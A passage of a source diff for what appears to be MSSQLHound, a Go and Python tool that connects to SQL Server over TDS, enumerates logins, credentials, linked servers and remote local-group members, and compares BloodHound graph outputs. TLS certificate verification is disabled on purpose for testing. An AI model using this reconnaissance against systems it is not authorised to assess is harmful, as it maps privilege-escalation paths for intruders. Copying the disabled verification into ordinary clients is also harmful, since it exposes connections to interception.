fmt.Errorf("TDS write payload: %w", err) + } + + offset = end + } + return nil +} + +// readFullPacket reads all TDS packets until EOM, returning concatenated payload. +func (t *tdsConn) readFullPacket() (byte, []byte, error) { + var result []byte + var packetType byte + + for { + hdr := make([]byte, tdsHeaderSize) + if _, err := io.ReadFull(t.conn, hdr); err != nil { + return 0, nil, fmt.Errorf("TDS read header: %w", err) + } + + packetType = hdr[0] + status := hdr[1] + pktLen := int(binary.BigEndian.Uint16(hdr[2:4])) + + if pktLen < tdsHeaderSize { + return 0, nil, fmt.Errorf("TDS packet length %d too small", pktLen) + } + + payloadLen := pktLen - tdsHeaderSize + if payloadLen > 0 { + payload := make([]byte, payloadLen) + if _, err := io.ReadFull(t.conn, payload); err != nil { + return 0, nil, fmt.Errorf("TDS read payload: %w", err) + } + result = append(result, payload...) + } + + if status&0x01 != 0 { // EOM + break + } + } + + return packetType, result, nil +} + +// tlsOverTDSConn implements net.Conn to wrap TLS handshake traffic inside +// TDS PRELOGIN (0x12) packets. This is passed to tls.Client() during the +// TLS-over-TDS handshake phase. +type tlsOverTDSConn struct { + tds *tdsConn + readBuf bytes.Buffer +} + +func (c *tlsOverTDSConn) Read(b []byte) (int, error) { + // If we have buffered data from a previous TDS packet, return it first + if c.readBuf.Len() > 0 { + return c.readBuf.Read(b) + } + + // Read a TDS packet and buffer the payload (TLS record data) + _, payload, err := c.tds.readFullPacket() + if err != nil { + return 0, err + } + + c.readBuf.Write(payload) + return c.readBuf.Read(b) +} + +func (c *tlsOverTDSConn) Write(b []byte) (int, error) { + // Wrap TLS data in a TDS PRELOGIN packet + if err := c.tds.sendPacket(tdsPacketPrelogin, b); err != nil { + return 0, err + } + return len(b), nil +} + +func (c *tlsOverTDSConn) Close() error { return c.tds.conn.Close() } +func (c *tlsOverTDSConn) LocalAddr() net.Addr { return c.tds.conn.LocalAddr() } +func (c *tlsOverTDSConn) RemoteAddr() net.Addr { return c.tds.conn.RemoteAddr() } +func (c *tlsOverTDSConn) SetDeadline(t time.Time) error { return c.tds.conn.SetDeadline(t) } +func (c *tlsOverTDSConn) SetReadDeadline(t time.Time) error { return c.tds.conn.SetReadDeadline(t) } +func (c *tlsOverTDSConn) SetWriteDeadline(t time.Time) error { return c.tds.conn.SetWriteDeadline(t) } + +// switchableConn allows swapping the underlying connection after TLS handshake. +// During handshake, it delegates to tlsOverTDSConn. After handshake, it delegates +// to the raw TCP connection for ENCRYPT_OFF or stays on TLS for ENCRYPT_REQ. +type switchableConn struct { + c net.Conn +} + +func (s *switchableConn) Read(b []byte) (int, error) { return s.c.Read(b) } +func (s *switchableConn) Write(b []byte) (int, error) { return s.c.Write(b) } +func (s *switchableConn) Close() error { return s.c.Close() } +func (s *switchableConn) LocalAddr() net.Addr { return s.c.LocalAddr() } +func (s *switchableConn) RemoteAddr() net.Addr { return s.c.RemoteAddr() } +func (s *switchableConn) SetDeadline(t time.Time) error { return s.c.SetDeadline(t) } +func (s *switchableConn) SetReadDeadline(t time.Time) error { return s.c.SetReadDeadline(t) } +func (s *switchableConn) SetWriteDeadline(t time.Time) error { return s.c.SetWriteDeadline(t) } + +// performTLSHandshake establishes TLS over TDS and returns the tls.Conn. +// The switchable conn allows the caller to swap back to raw TCP after handshake +// (needed for ENCRYPT_OFF where TLS is only used during LOGIN7). +func performTLSHandshake(tds *tdsConn, serverName string) (*tls.Conn, *switchableConn, error) { + handshakeAdapter := &tlsOverTDSConn{tds: tds} + sw := &switchableConn{c: handshakeAdapter} + + tlsConfig := &tls.Config{ + ServerName: serverName, + InsecureSkipVerify: true, //nolint:gosec // EPA testing requires connecting to any server + // Disable dynamic record sizing for TDS compatibility + DynamicRecordSizingDisabled: true, + } + + tlsConn := tls.Client(sw, tlsConfig) + if err := tlsConn.Handshake(); err != nil { + return nil, nil, fmt.Errorf("TLS handshake failed: %w", err) + } + + // After handshake, switch underlying connection to raw TCP. + // TLS records now go directly on the wire (no TDS wrapping). + sw.c = tds.conn + + return tlsConn, sw, nil +} + +// performDirectTLSHandshake establishes TLS directly on the TCP connection +// for TDS 8.0 strict encryption mode. Unlike performTLSHandshake which wraps +// TLS records inside TDS PRELOGIN packets, this does a standard TLS handshake +// on the raw socket (like HTTPS). All subsequent TDS messages are sent through +// the TLS connection. +func performDirectTLSHandshake(conn net.Conn, serverName string) (*tls.Conn, error) { + tlsConfig := &tls.Config{ + ServerName: serverName, + InsecureSkipVerify: true, //nolint:gosec // EPA testing requires connecting to any server + // Disable dynamic record sizing for TDS compatibility + DynamicRecordSizingDisabled: true, + } + + tlsConn := tls.Client(conn, tlsConfig) + if err := tlsConn.Handshake(); err != nil { + return nil, fmt.Errorf("TLS handshake failed: %w", err) + } + + return tlsConn, nil +} diff --git a/internal/types/types.go b/internal/types/types.go new file mode 100644 index 0000000..12eab1d --- /dev/null +++ b/internal/types/types.go @@ -0,0 +1,239 @@ +// Package types defines the core data structures used throughout MSSQLHound. +// These types mirror the data structures from the PowerShell version and are +// used for SQL Server collection, BloodHound output, and Active Directory integration. +package types + +import ( + "time" +) + +// ServerInfo represents a SQL Server instance and all collected data +type ServerInfo struct { + ObjectIdentifier string `json:"objectIdentifier"` + Hostname string `json:"hostname"` + ServerName string `json:"serverName"` + SQLServerName string `json:"sqlServerName"` // Display name for BloodHound + InstanceName string `json:"instanceName"` + Port int `json:"port"` + Version string `json:"version"` + VersionNumber string `json:"versionNumber"` + ProductLevel string `json:"productLevel"` + Edition string `json:"edition"` + IsClustered bool `json:"isClustered"` + IsMixedModeAuth bool `json:"isMixedModeAuth"` + ForceEncryption string `json:"forceEncryption,omitempty"` + StrictEncryption string `json:"strictEncryption,omitempty"` + ExtendedProtection string `json:"extendedProtection,omitempty"` + ComputerSID string `json:"computerSID"` + DomainSID string `json:"domainSID"` + FQDN string `json:"fqdn"` + SPNs []string `json:"spns,omitempty"` + ServiceAccounts []ServiceAccount `json:"serviceAccounts,omitempty"` + Credentials []Credential `json:"credentials,omitempty"` + ProxyAccounts []ProxyAccount `json:"proxyAccounts,omitempty"` + ServerPrincipals []ServerPrincipal `json:"serverPrincipals,omitempty"` + Databases []Database `json:"databases,omitempty"` + LinkedServers []LinkedServer `json:"linkedServers,omitempty"` + LocalGroupsWithLogins map[string]*LocalGroupInfo `json:"localGroupsWithLogins,omitempty"` // keyed by principal ObjectIdentifier +} + +// LocalGroupInfo holds information about a local Windows group and its domain members +type LocalGroupInfo struct { + Principal *ServerPrincipal `json:"principal"` + Members []LocalGroupMember `json:"members,omitempty"` +} + +// LocalGroupMember represents a domain member of a local Windows group +type LocalGroupMember struct { + Domain string `json:"domain"` + Name string `json:"name"` + SID string `json:"sid,omitempty"` +} + +// ServiceAccount represents a SQL Server service account +type ServiceAccount struct { + ObjectIdentifier string `json:"objectIdentifier"` + Name string `json:"name"` + ServiceName string `json:"serviceName"` + ServiceType string `json:"serviceType"` + StartupType string `json:"startupType"` + SID string `json:"sid,omitempty"` + ConvertedFromBuiltIn bool `json:"convertedFromBuiltIn,omitempty"` // True if converted from LocalSystem, NT AUTHORITY\*, etc. + ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation +} + +// ServerPrincipal represents a server-level principal (login or server role) +type ServerPrincipal struct { + ObjectIdentifier string `json:"objectIdentifier"` + PrincipalID int `json:"principalId"` + Name string `json:"name"` + TypeDescription string `json:"typeDescription"` + IsDisabled bool `json:"isDisabled"` + IsFixedRole bool `json:"isFixedRole"` + CreateDate time.Time `json:"createDate"` + ModifyDate time.Time `json:"modifyDate"` + DefaultDatabaseName string `json:"defaultDatabaseName,omitempty"` + SecurityIdentifier string `json:"securityIdentifier,omitempty"` + IsActiveDirectoryPrincipal bool `json:"isActiveDirectoryPrincipal"` + SQLServerName string `json:"sqlServerName"` + OwningPrincipalID int `json:"owningPrincipalId,omitempty"` + OwningObjectIdentifier string `json:"owningObjectIdentifier,omitempty"` + MemberOf []RoleMembership `json:"memberOf,omitempty"` + Members []string `json:"members,omitempty"` + Permissions []Permission `json:"permissions,omitempty"` + DatabaseUsers []string `json:"databaseUsers,omitempty"` + MappedCredential *Credential `json:"mappedCredential,omitempty"` // Credential mapped via ALTER LOGIN ... WITH CREDENTIAL +} + +// RoleMembership represents membership in a role +type RoleMembership struct { + ObjectIdentifier string `json:"objectIdentifier"` + Name string `json:"name,omitempty"` + PrincipalID int `json:"principalId,omitempty"` +} + +// Permission represents a granted or denied permission +type Permission struct { + Permission string `json:"permission"` + State string `json:"state"` // GRANT, GRANT_WITH_GRANT_OPTION, DENY + ClassDesc string `json:"classDesc"` + TargetPrincipalID int `json:"targetPrincipalId,omitempty"` + TargetObjectIdentifier string `json:"targetObjectIdentifier,omitempty"` + TargetName string `json:"targetName,omitempty"` +} + +// Database represents a SQL Server database +type Database struct { + ObjectIdentifier string `json:"objectIdentifier"` + DatabaseID int `json:"databaseId"` + Name string `json:"name"` + OwnerPrincipalID int `json:"ownerPrincipalId,omitempty"` + OwnerLoginName string `json:"ownerLoginName,omitempty"` + OwnerObjectIdentifier string `json:"ownerObjectIdentifier,omitempty"` + CreateDate time.Time `json:"createDate"` + CompatibilityLevel int `json:"compatibilityLevel"` + CollationName string `json:"collationName,omitempty"` + IsReadOnly bool `json:"isReadOnly"` + IsTrustworthy bool `json:"isTrustworthy"` + IsEncrypted bool `json:"isEncrypted"` + SQLServerName string `json:"sqlServerName"` + DatabasePrincipals []DatabasePrincipal `json:"databasePrincipals,omitempty"` + DBScopedCredentials []DBScopedCredential `json:"dbScopedCredentials,omitempty"` +} + +// DatabasePrincipal represents a database-level principal +type DatabasePrincipal struct { + ObjectIdentifier string `json:"objectIdentifier"` + PrincipalID int `json:"principalId"` + Name string `json:"name"` + TypeDescription string `json:"typeDescription"` + CreateDate time.Time `json:"createDate"` + ModifyDate time.Time `json:"modifyDate"` + IsFixedRole bool `json:"isFixedRole"` + OwningPrincipalID int `json:"owningPrincipalId,omitempty"` + OwningObjectIdentifier string `json:"owningObjectIdentifier,omitempty"` + DefaultSchemaName string `json:"defaultSchemaName,omitempty"` + DatabaseName string `json:"databaseName"` + SQLServerName string `json:"sqlServerName"` + ServerLogin *ServerLoginRef `json:"serverLogin,omitempty"` + MemberOf []RoleMembership `json:"memberOf,omitempty"` + Members []string `json:"members,omitempty"` + Permissions []Permission `json:"permissions,omitempty"` +} + +// ServerLoginRef is a reference to a server login from a database user +type ServerLoginRef struct { + ObjectIdentifier string `json:"objectIdentifier"` + Name string `json:"name"` + PrincipalID int `json:"principalId"` +} + +// DBScopedCredential represents a database-scoped credential +type DBScopedCredential struct { + CredentialID int `json:"credentialId"` + Name string `json:"name"` + CredentialIdentity string `json:"credentialIdentity"` + CreateDate time.Time `json:"createDate"` + ModifyDate time.Time `json:"modifyDate"` + ResolvedSID string `json:"resolvedSid,omitempty"` // Resolved AD SID for the credential identity + ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation +} + +// LinkedServer represents a linked server configuration +type LinkedServer struct { + ServerID int `json:"serverId"` + Name string `json:"name"` + Product string `json:"product"` + Provider string `json:"provider"` + DataSource string `json:"dataSource"` + Catalog string `json:"catalog,omitempty"` + IsLinkedServer bool `json:"isLinkedServer"` + IsRemoteLoginEnabled bool `json:"isRemoteLoginEnabled"` + IsRPCOutEnabled bool `json:"isRpcOutEnabled"` + IsDataAccessEnabled bool `json:"isDataAccessEnabled"` + LocalLogin string `json:"localLogin,omitempty"` + RemoteLogin string `json:"remoteLogin,omitempty"` + IsSelfMapping bool `json:"isSelfMapping"` + ResolvedObjectIdentifier string `json:"resolvedObjectIdentifier,omitempty"` // Target server ObjectIdentifier + RemoteIsSysadmin bool `json:"remoteIsSysadmin,omitempty"` + RemoteIsSecurityAdmin bool `json:"remoteIsSecurityAdmin,omitempty"` + RemoteHasControlServer bool `json:"remoteHasControlServer,omitempty"` + RemoteHasImpersonateAnyLogin bool `json:"remoteHasImpersonateAnyLogin,omitempty"` + RemoteIsMixedMode bool `json:"remoteIsMixedMode,omitempty"` + UsesImpersonation bool `json:"usesImpersonation,omitempty"` + SourceServer string `json:"sourceServer,omitempty"` // Hostname of the server this linked server was discovered from + Path string `json:"path,omitempty"` // Chain path for nested linked servers + RemoteCurrentLogin string `json:"remoteCurrentLogin,omitempty"` // Login used on the remote server +} + +// ProxyAccount represents a SQL Agent proxy account +type ProxyAccount struct { + ProxyID int `json:"proxyId"` + Name string `json:"name"` + CredentialID int `json:"credentialId"` + CredentialName string `json:"credentialName,omitempty"` + CredentialIdentity string `json:"credentialIdentity"` + Enabled bool `json:"enabled"` + Description string `json:"description,omitempty"` + Subsystems []string `json:"subsystems,omitempty"` + Logins []string `json:"logins,omitempty"` + ResolvedSID string `json:"resolvedSid,omitempty"` // Resolved AD SID for the credential identity + ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation +} + +// Credential represents a server-level credential +type Credential struct { + CredentialID int `json:"credentialId"` + Name string `json:"name"` + CredentialIdentity string `json:"credentialIdentity"` + CreateDate time.Time `json:"createDate"` + ModifyDate time.Time `json:"modifyDate"` + ResolvedSID string `json:"resolvedSid,omitempty"` // Resolved AD SID for the credential identity + ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation +} + +// DomainPrincipal represents a resolved Active Directory principal +type DomainPrincipal struct { + ObjectIdentifier string `json:"objectIdentifier"` + SID string `json:"sid"` + Name string `json:"name"` + SAMAccountName string `json:"samAccountName,omitempty"` + DistinguishedName string `json:"distinguishedName,omitempty"` + UserPrincipalName string `json:"userPrincipalName,omitempty"` + DNSHostName string `json:"dnsHostName,omitempty"` + Domain string `json:"domain"` + ObjectClass string `json:"objectClass"` // user, group, computer + Enabled bool `json:"enabled"` + MemberOf []string `json:"memberOf,omitempty"` +} + +// SPN represents a Service Principal Name +type SPN struct { + ServiceClass string `json:"serviceClass"` + Hostname string `json:"hostname"` + Port string `json:"port,omitempty"` + InstanceName string `json:"instanceName,omitempty"` + FullSPN string `json:"fullSpn"` + AccountName string `json:"accountName"` + AccountSID string `json:"accountSid"` +} diff --git a/internal/wmi/wmi_stub.go b/internal/wmi/wmi_stub.go new file mode 100644 index 0000000..5bf2669 --- /dev/null +++ b/internal/wmi/wmi_stub.go @@ -0,0 +1,22 @@ +//go:build !windows + +// Package wmi provides WMI-based enumeration of local group members. +// This is a stub for non-Windows platforms. +package wmi + +// GroupMember represents a member of a local group +type GroupMember struct { + Domain string + Name string + SID string +} + +// GetLocalGroupMembers is not available on non-Windows platforms +func GetLocalGroupMembers(computerName, groupName string, verbose bool) ([]GroupMember, error) { + return nil, nil +} + +// GetLocalGroupMembersWithFallback is not available on non-Windows platforms +func GetLocalGroupMembersWithFallback(computerName, groupName string, verbose bool) []GroupMember { + return nil +} diff --git a/internal/wmi/wmi_windows.go b/internal/wmi/wmi_windows.go new file mode 100644 index 0000000..00005f2 --- /dev/null +++ b/internal/wmi/wmi_windows.go @@ -0,0 +1,155 @@ +//go:build windows + +// Package wmi provides WMI-based enumeration of local group members on Windows. +package wmi + +import ( + "fmt" + "regexp" + "strings" + + "github.com/go-ole/go-ole" + "github.com/go-ole/go-ole/oleutil" +) + +// GroupMember represents a member of a local group +type GroupMember struct { + Domain string + Name string + SID string +} + +// GetLocalGroupMembers enumerates members of a local group on a remote computer using WMI +func GetLocalGroupMembers(computerName, groupName string, verbose bool) ([]GroupMember, error) { + var members []GroupMember + + // Always show which group we're enumerating + fmt.Printf("Enumerating members of local group: %s\n", groupName) + + // Initialize COM + if err := ole.CoInitializeEx(0, ole.COINIT_MULTITHREADED); err != nil { + // Check if already initialized (error code 1 means S_FALSE - already initialized) + oleErr, ok := err.(*ole.OleError) + if !ok || oleErr.Code() != 1 { + return nil, fmt.Errorf("COM initialization failed: %w", err) + } + } + defer ole.CoUninitialize() + + // Create WMI locator + unknown, err := oleutil.CreateObject("WbemScripting.SWbemLocator") + if err != nil { + return nil, fmt.Errorf("failed to create WMI locator: %w", err) + } + defer unknown.Release() + + wmi, err := unknown.QueryInterface(ole.IID_IDispatch) + if err != nil { + return nil, fmt.Errorf("failed to query WMI interface: %w", err) + } + defer wmi.Release() + + // Connect to remote WMI + // Format: \\computername\root\cimv2 + wmiPath := fmt.Sprintf("\\\\%s\\root\\cimv2", computerName) + serviceRaw, err := oleutil.CallMethod(wmi, "ConnectServer", wmiPath) + if err != nil { + return nil, fmt.Errorf("failed to connect to WMI on %s: %w", computerName, err) + } + service := serviceRaw.ToIDispatch() + defer service.Release() + + // Query for group members + // WMI query: SELECT * FROM Win32_GroupUser WHERE GroupComponent="Win32_Group.Domain='COMPUTERNAME',Name='GROUPNAME'" + query := fmt.Sprintf(`SELECT * FROM Win32_GroupUser WHERE GroupComponent="Win32_Group.Domain='%s',Name='%s'"`, + computerName, groupName) + + resultRaw, err := oleutil.CallMethod(service, "ExecQuery", query) + if err != nil { + return nil, fmt.Errorf("WMI query failed: %w", err) + } + result := resultRaw.ToIDispatch() + defer result.Release() + + // Get count + countVar, err := oleutil.GetProperty(result, "Count") + if err != nil { + return nil, fmt.Errorf("failed to get result count: %w", err) + } + count := int(countVar.Val) + + if verbose { + fmt.Printf("Found %d members in %s\n", count, groupName) + } + + // Pattern to parse PartComponent + // Example: \\\\COMPUTER\\root\\cimv2:Win32_UserAccount.Domain="DOMAIN",Name="USER" + partPattern := regexp.MustCompile(`Domain="([^"]+)",Name="([^"]+)"`) + + // Iterate through results + for i := 0; i < count; i++ { + itemRaw, err := oleutil.CallMethod(result, "ItemIndex", i) + if err != nil { + continue + } + item := itemRaw.ToIDispatch() + + // Get PartComponent (the member) + partComponentVar, err := oleutil.GetProperty(item, "PartComponent") + if err != nil { + item.Release() + continue + } + partComponent := partComponentVar.ToString() + + // Parse the PartComponent to extract domain and name + matches := partPattern.FindStringSubmatch(partComponent) + if len(matches) >= 3 { + memberDomain := matches[1] + memberName := matches[2] + + // Skip local accounts and well-known local accounts + upperDomain := strings.ToUpper(memberDomain) + upperComputer := strings.ToUpper(computerName) + + if upperDomain != upperComputer && + upperDomain != "NT AUTHORITY" && + upperDomain != "NT SERVICE" { + + if verbose { + fmt.Printf("Found domain member: %s\\%s\n", memberDomain, memberName) + } + + members = append(members, GroupMember{ + Domain: memberDomain, + Name: memberName, + }) + } + } + + item.Release() + } + + // Always show the result + if len(members) > 0 { + fmt.Printf("Found %d domain members in %s\n", len(members), groupName) + } else { + fmt.Printf("No domain members found in %s\n", groupName) + } + + return members, nil +} + +// GetLocalGroupMembersWithFallback tries WMI enumeration and returns an empty slice on failure +func GetLocalGroupMembersWithFallback(computerName, groupName string, verbose bool) []GroupMember { + members, err := GetLocalGroupMembers(computerName, groupName, verbose) + if err != nil { + if verbose { + fmt.Printf("WARNING: WMI enumeration failed for %s\\%s: %v\n", computerName, groupName, err) + } else { + fmt.Printf("WARNING: WMI enumeration failed for %s\\%s. This may require remote WMI access permissions.\n", computerName, groupName) + } + return nil + } + return members +} diff --git a/python/compare_edges.py b/python/compare_edges.py new file mode 100644 index 0000000..a34d2b4 --- /dev/null +++ b/python/compare_edges.py @@ -0,0 +1,699 @@ +#!/usr/bin/env python3 +""" +Compare two MSSQLHound JSON output files and identify edge differences. + +Usage: + python3 compare_edges.py [--label1 NAME] [--label2 NAME] + +Examples: + python3 compare_edges.py mssql-go-output.json mssql-ps1-output.json + python3 compare_edges.py file_a.json file_b.json --label1 "Go" --label2 "PS1" +""" + +import json +import sys +import argparse +import zipfile +from collections import defaultdict + + +def load_json(filepath): + """Load a JSON file or extract the main JSON from a zip file. + + For Go-style zips that separate AD nodes into computers.json, users.json, + and groups.json alongside the main output, those nodes are merged into the + main graph so the comparison sees the complete picture. + """ + if filepath.endswith(".zip"): + with zipfile.ZipFile(filepath) as zf: + json_files = [n for n in zf.namelist() if n.endswith(".json")] + if not json_files: + raise ValueError(f"No JSON files found in {filepath}") + # Pick the largest JSON file (the main output) + main_file = max(json_files, key=lambda n: zf.getinfo(n).file_size) + print(f" (extracted '{main_file}' from zip)") + data = json.loads(zf.read(main_file)) + + # Merge AD node files (Go splits Base nodes into separate files) + ad_files = [n for n in json_files if n in ("computers.json", "users.json", "groups.json")] + if ad_files and isinstance(data, dict) and "graph" in data: + merged_count = 0 + existing_ids = {n["id"] for n in data["graph"].get("nodes", [])} + for ad_file in sorted(ad_files): + ad_data = json.loads(zf.read(ad_file)) + for node in ad_data.get("graph", {}).get("nodes", []): + if node.get("id") not in existing_ids: + data["graph"].setdefault("nodes", []).append(node) + existing_ids.add(node["id"]) + merged_count += 1 + if merged_count: + print(f" (merged {merged_count} AD nodes from {', '.join(ad_files)})") + return data + with open(filepath, "r", encoding="utf-8-sig") as f: + return json.load(f) + + +def extract_edges(data): + """ + Extract edges from the JSON data. + Handles multiple possible structures: + - Top-level list of edges + - Dict with 'data' key containing edges + - Dict with 'edges' key containing edges + - Nested structures with 'relationships' key + """ + if isinstance(data, list): + return data + + if isinstance(data, dict): + # Try common key names at top level + for key in ["data", "edges", "relationships", "rels"]: + if key in data: + val = data[key] + if isinstance(val, list): + return val + + # Check nested under 'graph' + if "graph" in data and isinstance(data["graph"], dict): + graph = data["graph"] + for key in ["edges", "relationships", "rels"]: + if key in graph: + val = graph[key] + if isinstance(val, list): + return val + + # If dict has 'start', 'end', 'kind' — it's a single edge + if "start" in data and "end" in data and "kind" in data: + return [data] + + # Look one level deeper + for key, val in data.items(): + if isinstance(val, list) and len(val) > 0: + first = val[0] + if isinstance(first, dict) and ("kind" in first or "type" in first): + return val + + return [] + + +def build_node_id_mapping(data1, data2): + """Build a mapping from file1 node IDs to file2 node IDs based on matching node names/kinds. + + This handles the case where one file uses SID-based identifiers and the other + uses hostname-based identifiers for the same nodes. + """ + nodes1 = extract_nodes(data1) + nodes2 = extract_nodes(data2) + + if not nodes1 or not nodes2: + return {} + + # Build (kinds, name) -> id maps for each file + def build_name_map(nodes): + name_map = {} + for node in nodes: + node_id = node.get("id", "") + kinds = tuple(sorted(node.get("kinds", []))) + props = node.get("properties", {}) + name = props.get("name", "") + if name: + key = (kinds, name) + name_map[key] = node_id + return name_map + + map1 = build_name_map(nodes1) + map2 = build_name_map(nodes2) + + # Build file1_id -> file2_id mapping + id_mapping = {} + for key, id1 in map1.items(): + if key in map2: + id2 = map2[key] + if id1 != id2: + id_mapping[id1] = id2 + + return id_mapping + + +def normalize_id(value, id_mapping): + """Normalize a node identifier using the mapping. + + Handles compound identifiers like 'SID:1433\\database' by normalizing + the base part and preserving suffixes. + """ + if not id_mapping or value not in id_mapping: + # Try prefix matching for compound IDs (e.g., "hostname:1433\db") + for old_id, new_id in id_mapping.items(): + if value.startswith(old_id): + return new_id + value[len(old_id):] + return value + return id_mapping[value] + + +def make_edge_key(edge, id_mapping=None): + """Create a hashable key from an edge for comparison (source, target, kind).""" + start = edge.get("start", {}) + end = edge.get("end", {}) + + # Handle both {"value": "..."} and plain string formats + if isinstance(start, dict): + source = start.get("value", start.get("objectid", str(start))) + else: + source = str(start) + + if isinstance(end, dict): + target = end.get("value", end.get("objectid", str(end))) + else: + target = str(end) + + # Apply ID normalization if mapping provided + if id_mapping: + source = normalize_id(source, id_mapping) + target = normalize_id(target, id_mapping) + + kind = edge.get("kind", edge.get("type", edge.get("label", "UNKNOWN"))) + + return (source, target, kind) + + +def make_full_edge_key(edge): + """Create a hashable key from an edge including all properties for exact comparison.""" + return json.dumps(edge, sort_keys=True) + + +def get_edge_properties(edge): + """Extract edge properties, excluding the structural fields.""" + props = edge.get("properties", {}) + return props + + +def normalize_value(v, normalize_ws=False): + """Normalize a value for comparison (handle type differences like bool vs string).""" + if isinstance(v, bool): + return v + if isinstance(v, str): + if v.lower() == "true": + return True + if v.lower() == "false": + return False + if normalize_ws: + return normalize_whitespace(v) + return v + + +def normalize_whitespace(s): + """Normalize whitespace in a string for comparison. + + Handles differences between PS1 (which embeds text in indented heredocs, + producing leading whitespace and \\r\\n) and Go (which produces clean text). + """ + import re + + # Normalize line endings + s = s.replace("\r\n", "\n") + # Strip leading/trailing whitespace per line + lines = s.split("\n") + lines = [l.strip() for l in lines] + # Remove empty lines (PS1 often has extra blank lines from indentation) + lines = [l for l in lines if l] + # Rejoin + return "\n".join(lines) + + +def compare_properties(props1, props2, label1, label2, normalize_ws=False): + """Compare two property dicts and return differences.""" + diffs = [] + all_keys = sorted(set(list(props1.keys()) + list(props2.keys()))) + + for key in all_keys: + if key in props1 and key not in props2: + diffs.append(f" Property '{key}' only in {label1}") + elif key not in props1 and key in props2: + diffs.append(f" Property '{key}' only in {label2}") + else: + v1 = normalize_value(props1[key], normalize_ws) + v2 = normalize_value(props2[key], normalize_ws) + if v1 != v2: + # Truncate long values + s1 = str(v1) + s2 = str(v2) + if len(s1) > 120: + s1 = s1[:120] + "..." + if len(s2) > 120: + s2 = s2[:120] + "..." + diffs.append(f" Property '{key}' differs:") + diffs.append(f" {label1}: {s1}") + diffs.append(f" {label2}: {s2}") + + return diffs + + +def extract_nodes(data): + """Extract nodes from the JSON data.""" + if isinstance(data, dict): + if "graph" in data and isinstance(data["graph"], dict): + return data["graph"].get("nodes", []) + if "nodes" in data: + return data["nodes"] + return [] + + +def make_node_key(node): + """Create a hashable key from a node for comparison. + Uses (kinds_tuple, id) as key. The 'id' field is the primary identifier.""" + kinds = tuple(sorted(node.get("kinds", []))) + node_id = node.get("id", "") + return (kinds, node_id) + + +def compare_nodes(data1, data2, label1, label2, verbose=False, normalize_ws=False): + """Compare nodes between two datasets and print differences.""" + nodes1 = extract_nodes(data1) + nodes2 = extract_nodes(data2) + + print(f"\n{'='*80}") + print("NODE COMPARISON") + print(f"{'='*80}") + print(f" {label1}: {len(nodes1)} nodes") + print(f" {label2}: {len(nodes2)} nodes") + + # Count by kinds + kind_counts1 = defaultdict(int) + kind_counts2 = defaultdict(int) + for n in nodes1: + k = ", ".join(sorted(n.get("kinds", []))) or "(no kind)" + kind_counts1[k] += 1 + for n in nodes2: + k = ", ".join(sorted(n.get("kinds", []))) or "(no kind)" + kind_counts2[k] += 1 + + all_kinds = sorted(set(list(kind_counts1.keys()) + list(kind_counts2.keys()))) + if any(kind_counts1.get(k, 0) != kind_counts2.get(k, 0) for k in all_kinds): + print(f"\n {'Node Kind':<45} {label1:>8} {label2:>8} {'Diff':>6}") + print(f" {'-'*45} {'-'*8} {'-'*8} {'-'*6}") + for k in all_kinds: + c1 = kind_counts1.get(k, 0) + c2 = kind_counts2.get(k, 0) + d = c1 - c2 + m = " <---" if d != 0 else "" + print(f" {k or '(no kind)':<45} {c1:>8} {c2:>8} {d:>+6}{m}") + + # Build node maps by key + nodes1_by_key = {} + nodes2_by_key = {} + for n in nodes1: + key = make_node_key(n) + nodes1_by_key[key] = n + for n in nodes2: + key = make_node_key(n) + nodes2_by_key[key] = n + + keys1 = set(nodes1_by_key.keys()) + keys2 = set(nodes2_by_key.keys()) + + only_in_1 = sorted(keys1 - keys2) + only_in_2 = sorted(keys2 - keys1) + in_both = keys1 & keys2 + + print(f"\n Unique nodes: Only in {label1}: {len(only_in_1)}, Only in {label2}: {len(only_in_2)}, In both: {len(in_both)}") + + if only_in_1: + print(f"\n NODES ONLY IN {label1} ({len(only_in_1)}):") + for kinds_tuple, node_id in only_in_1: + node = nodes1_by_key[(kinds_tuple, node_id)] + kinds_str = ", ".join(kinds_tuple) or "(no kind)" + props = node.get("properties", {}) + name = props.get("name", "") + print(f" [{kinds_str}] {node_id} (name: {name})") + if verbose and props: + for pk, pv in sorted(props.items()): + sv = str(pv) + if len(sv) > 100: + sv = sv[:100] + "..." + print(f" {pk}: {sv}") + + if only_in_2: + print(f"\n NODES ONLY IN {label2} ({len(only_in_2)}):") + for kinds_tuple, node_id in only_in_2: + node = nodes2_by_key[(kinds_tuple, node_id)] + kinds_str = ", ".join(kinds_tuple) or "(no kind)" + props = node.get("properties", {}) + name = props.get("name", "") + print(f" [{kinds_str}] {node_id} (name: {name})") + if verbose and props: + for pk, pv in sorted(props.items()): + sv = str(pv) + if len(sv) > 100: + sv = sv[:100] + "..." + print(f" {pk}: {sv}") + + # Compare properties of nodes in both + prop_diff_count = 0 + prop_diffs = [] + for key in sorted(in_both): + n1 = nodes1_by_key[key] + n2 = nodes2_by_key[key] + props1 = n1.get("properties", {}) + props2 = n2.get("properties", {}) + diffs = compare_properties(props1, props2, label1, label2, normalize_ws) + if diffs: + prop_diff_count += 1 + if verbose: + prop_diffs.append((key, diffs)) + + if prop_diff_count > 0: + print(f"\n Nodes in both with property differences: {prop_diff_count}") + if verbose: + for (kinds_tuple, node_id), diffs in prop_diffs: + kinds_str = ", ".join(kinds_tuple) or "(no kind)" + print(f"\n [{kinds_str}] {node_id}") + for d in diffs: + print(f" {d}") + + return only_in_1, only_in_2 + + +def main(): + parser = argparse.ArgumentParser( + description="Compare two MSSQLHound JSON output files and identify edge/node differences." + ) + parser.add_argument("file1", help="First JSON file path") + parser.add_argument("file2", help="Second JSON file path") + parser.add_argument( + "--label1", default=None, help="Label for first file (default: filename)" + ) + parser.add_argument( + "--label2", default=None, help="Label for second file (default: filename)" + ) + parser.add_argument( + "--show-property-diffs", + action="store_true", + default=True, + help="Show property differences for matching edges (default: True)", + ) + parser.add_argument( + "--no-property-diffs", + action="store_true", + help="Skip showing property differences", + ) + parser.add_argument( + "--verbose", + "-v", + action="store_true", + help="Show all edge details including full properties", + ) + parser.add_argument( + "--normalize-ids", + action="store_true", + help="Normalize node IDs between files using node labels (handles SID vs hostname differences)", + ) + parser.add_argument( + "--normalize-whitespace", + action="store_true", + help="Normalize whitespace when comparing properties (handles PS1 indentation vs Go clean text)", + ) + parser.add_argument( 